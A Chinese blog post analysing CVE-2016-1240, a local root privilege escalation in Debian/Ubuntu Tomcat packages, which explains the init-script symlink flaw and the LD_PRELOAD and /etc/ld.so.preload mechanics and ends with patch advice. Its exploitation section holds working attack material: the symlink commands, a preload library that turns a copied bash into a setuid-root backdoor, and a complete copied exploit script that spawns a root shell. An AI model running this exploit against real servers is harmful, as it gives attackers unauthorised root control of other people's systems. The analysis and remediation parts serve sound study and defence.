CVE-2016-1240漏洞分析(Tomcat本地提权漏洞)

前几天刷Freebuf的时候发现了在国庆期间爆了一个Tomcat本地提权漏洞,乍一看漏洞利用脚本是一个shell批处理,想着也不会太难,就抱着学习的目的试着做了分析。以下是本人的分析学习总结。

0x0 漏洞描述

    Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tomcat<版本号>.sh。利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限。

    这次出问题的地方如下:

	# Run the catalina.sh script as a daemon
	set +e
	touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
	chown $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
    这个启动脚本首先创建了一个Tomcat的日志文件,然后将该日志文件的所属用户更改为Tomcat默认的低权限用户(守护进程用户)。

    乍一看似乎没什么问题。我们能够从上面的代码得出三点:

        1.这个脚本运行时的权限必然是root权限;

        2.使用touch命令创建文件,此时存在文件存在、不存在、存在为符号链接等等的情况,当文件为符号链接时会默认地对链接的文件进行操作。

        3.脚本运行完毕后Tomcat服务器启动,此时catalina.out这个log文件的所属用户为tomcat,所属组为root。

    这就给漏洞利用创造了可能。

0x1 基础知识

    在具体的利用之前我们还需要提高下自己的知识水平。首先来了解一个Linux的特性:Windows和Linux系统都支持应用程序在运行时进行动态链接库函数,以提供强大的扩展能力。例如,当一个程序使用了dlopen函数时,Linux会在运行时链接libdl.so这个库来得到dlopen函数的可执行代码并且执行。查看一个程序在运行时需要动态链接哪些库可以通过ldd命令来查看。

    Linux提供了一种可以在运行时重载/覆盖调用默认函数的环境变量,即LD_PRELOAD。相信玩过Linux的码友都不会陌生,在解决sublime支持基于fcitx的输入法(如搜狗输入法)的问题时,就使用了这个环境变量来解决问题。

    LD_PRELOAD可以影响程序运行时的链接,它允许你定义在程序运行前优先加载动态链接库。这个功能主要用来有选择性的载入不同动态链接库中相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

    此外,Linux强大的权限控制机制和功能也并非坚不可摧。了解Linux系统的朋友们都知道除了rwx之外还有一种重要的权限,即s。linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。即真实的进程权限是有EUID标注的而非UID。当一个可执行文件的权限设置了set-user-ID位,那么它在执行时,进程的euid就是程序文件所属用户的ID!最直接的例子,可以看看sudo这个程序的文件权限:


    所以当执行sudo程序的时候,我们可以以它所属用户的权限,即root(0)来操作系统。因此,一个最常见的提权思路,即为控制sudo的执行思路,绕过或者更改验证而直接执行代码。

    结合LD_PRELOAD环境变量,似乎已经渐渐地有了思路。sudo的执行过程中必然会用到getuid或者setuid这种函数(查看一个可执行程序需要引用哪些外部函数可以使用readelf命令),由于sudo程序只要装载进内存中它的euid必然是root,那么在执行验证之前那么我们使用LD_PRELOAD来覆盖要加载的getuid函数,就可以绕过验证使用root权限来执行代码了。

    想象是美好的现实总是残酷的。事实上这个漏洞在2014年2月已经被悄悄地修复了。sudo现在已经不会接收通过命令行传递而来的环境变量。详细分析见:我是怎么通过sudo获取root权限的
然而这样就没办法了吗?不要灰心,再来复习一下Linux加载动态库的方法:从 ld.so(8) Man Page可以查到共享库路径的搜索顺序:

  1. 首先在环境变量 LD_LIBRARY_PATH 所记录的路径中查找。
  2. 然后从缓存文件 /etc/ld.so.cache 中查找。这个缓存文件由 ldconfig 命令读取配置文件 /etc/ld.so.conf 之后生成。
  3. 如果上述步骤都找不到,则到默认的系统路径中查找,先是/usr/lib然后是/lib

    事实上以上步骤是查找默认需要加载的动态库,我们注意一个关键点,/etc/ld.so.cache可以控制动态库的查找方式!事实上我们也没必要那么麻烦去修改这个文件,因为稍微修改错了可能系统整个就挂掉了,这里只是提一下。我们还可以通过另一种方式来覆盖程序加载的动态库中的函数,即通过/etc/ld.so.preload文件

    通常情况下在Linux各个发行版中都不存在该文件,而该文件由于处在/etc目录中,创建或者修改都需要root权限,从一定程度上也保证了安全性。那么/etc/ld.so.preload和LD_PRELOAD有什么区别呢?

    在Linux内核的ELF加载器elf/rtld.c源文件中提到:

1475   /* We have two ways to specify objects to preload: via environment
1476      variable and via the file /etc/ld.so.preload.  The latter can also
1477      be used when security is enabled.  */
1478   assert (*first_preload == NULL);
1479   struct link_map **preloads = NULL;
1480   unsigned int npreloads = 0;
1481 
1482   if (__glibc_unlikely (preloadlist != NULL))
1483     {
1484       /* The LD_PRELOAD environment variable gives list of libraries
1485          separated by white space or colons that are loaded before the
1486          executable's dependencies and prepended to the global scope
1487          list.  If the binary is running setuid all elements
1488          containing a '/' are ignored since it is insecure.  */
1489       char *list = strdupa (preloadlist);
1490       char *p;
1491 
1492       HP_TIMING_NOW (start);
1493 
1494       /* Prevent optimizing strsep.  Speed is not important here.  */
1495       while ((p = (strsep) (&list, " :")) != NULL)
1496         if (p[0] != '\0'
1497             && (__builtin_expect (! __libc_enable_secure, 1)
1498                 || strchr (p, '/') == NULL))
1499           npreloads += do_preload (p, main_map, "LD_PRELOAD");
1500 
1501       HP_TIMING_NOW (stop);
1502       HP_TIMING_DIFF (diff, start, stop);
1503       HP_TIMING_ACCUM_NT (load_time, diff);
1504     }
1505 
1506   /* There usually is no ld.so.preload file, it should only be used
1507      for emergencies and testing.  So the open call etc should usually
1508      fail.  Using access() on a non-existing file is faster than using
1509      open().  So we do this first.  If it succeeds we do almost twice
1510      the work but this does not matter, since it is not for production
1511      use.  */
1512   static const char preload_file[] = "/etc/ld.so.preload";
1513   if (__glibc_unlikely (__access (preload_file, R_OK) == 0))
1514     {
1515       /* Read the contents of the file.  */
1516       file = _dl_sysdep_read_whole_file (preload_file, &file_size,
1517                                          PROT_READ | PROT_WRITE);
1518       if (__glibc_unlikely (file != MAP_FAILED))
1519         {
1520           /* Parse the file.  It contains names of libraries to be loaded,
1521              separated by white spaces or `:'.  It may also contain
1522              comments introduced by `#'.  */
1523           char *problem;
1524           char *runp;
1525           size_t rest;
1526 
1527           /* Eliminate comments.  */
1528           runp = file;
1529           rest = file_size;
1530           while (rest > 0)
1531             {
1532               char *comment = memchr (runp, '#', rest);
1533               if (comment == NULL)
1534                 break;
1535 
1536               rest -= comment - runp;
1537               do
1538                 *comment = ' ';
1539               while (--rest > 0 && *++comment != '\n');
1540             }
1541 
1542           /* We have one problematic case: if we have a name at the end of
1543              the file without a trailing terminating characters, we cannot
1544              place the \0.  Handle the case separately.  */
1545           if (file[file_size - 1] != ' ' && file[file_size - 1] != '\t'
1546               && file[file_size - 1] != '\n' && file[file_size - 1] != ':')
1547             {
1548               problem = &file[file_size];
1549               while (problem > file && problem[-1] != ' '
1550                      && problem[-1] != '\t'
1551                      && problem[-1] != '\n' && problem[-1] != ':')
1552                 --problem;
1553 
1554               if (problem > file)
1555                 problem[-1] = '\0';
1556             }
1557           else
1558             {
1559               problem = NULL;
1560               file[file_size - 1] = '\0';
1561             }
1562 
1563           HP_TIMING_NOW (start);
1564 
1565           if (file != problem)
1566             {
1567               char *p;
1568               runp = file;
1569               while ((p = strsep (&runp, ": \t\n")) != NULL)
1570                 if (p[0] != '\0')
1571                   npreloads += do_preload (p, main_map, preload_file);
1572             }
1573 
1574           if (problem != NULL)
1575             {
1576               char *p = strndupa (problem, file_size - (problem - file));
1577 
1578               npreloads += do_preload (p, main_map, preload_file);
1579             }
1580 
1581           HP_TIMING_NOW (stop);
1582           HP_TIMING_DIFF (diff, start, stop);
1583           HP_TIMING_ACCUM_NT (load_time, diff);
1584 
1585           /* We don't need the file anymore.  */
1586           __munmap (file, file_size);
1587         }
1588     }
1589 
    “我们有两种方式来控制ELF对象的预加载:通过环境变量和通过/etc/ld.so.preload文件。第二种方法在具备安全性要求的程序中依然可用。但是ld.so.preload文件通常不存在,它应该仅仅用于紧急和测试情况。”

    也就是说,我们在/etc/ld.so.preload文件中加入一个so路径,那么elf程序在运行的时候都必然会去加载这个so并且优先使用里面的函数!


0x2 漏洞利用

    当我们获得一个安装有tomcat的shell时,通常情况下是通过Web漏洞得到的主机用户权限,因此我们当前的用户就是tomcat。这就是说我们能够更改所属用户为tomcat的catalina.out这个log文件的内容和属性。更改内容当然没什么用了,这里要做的就是更改这个文件的属性。默认地,由于这个文件归属于tomcat,因此我们可以直接删除掉它。

rm -f /var/log/tomcat/catalina.out
    上面的日志文件路径是默认情况下的路径,根据实际情况不同可能需要更改。

    然后创建一个指向/etc/ld.so.preload的符号链接。

ln -s /etc/ld.so.preload /var/log/tomcat/catalina.out

    这样当Tomcat服务重启时,系统默认重新执行本文最上面的那部分脚本,由于此时tomcat的日志文件指向了/etc/ld.so.preload文件,而该文件并不存在,所以touch命令后会使用root权限创建该文件,然后再将其的所属用户更改为tomcat。之后我们就可以写一个so来覆盖系统的getuid方法了!


/*filename: preload.c*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("/tmp/backdoor", 0, 0);
        chmod("/tmp/backdoor", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
这个so覆盖了libc库函数的geteuid函数,其中的主要功能是将/tmp/backdoor文件的权限也置为rws。这个文件可以是系统/bin/bash的副本。测试一下效果,编译后运行如图:



EXP:(freebuf直接复制的)

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 \n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0


0x3 修复建议

    目前,Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案:

    1、更新Tomcat服务器版本:
    (1)针对Ubuntu公告链接
http://www.ubuntu.com/usn/usn-3081-1/
    (2)针对Debian公告链接
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
    2、加入-h参数防止其他文件所有者被更改,即更改Tomcat的启动脚本为:

chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out


没有更多推荐了,返回首页

私密
私密原因:
请选择设置私密原因
  • 广告
  • 抄袭
  • 版权
  • 政治
  • 色情
  • 无意义
  • 其他
其他原因:
120
出错啦
系统繁忙,请稍后再试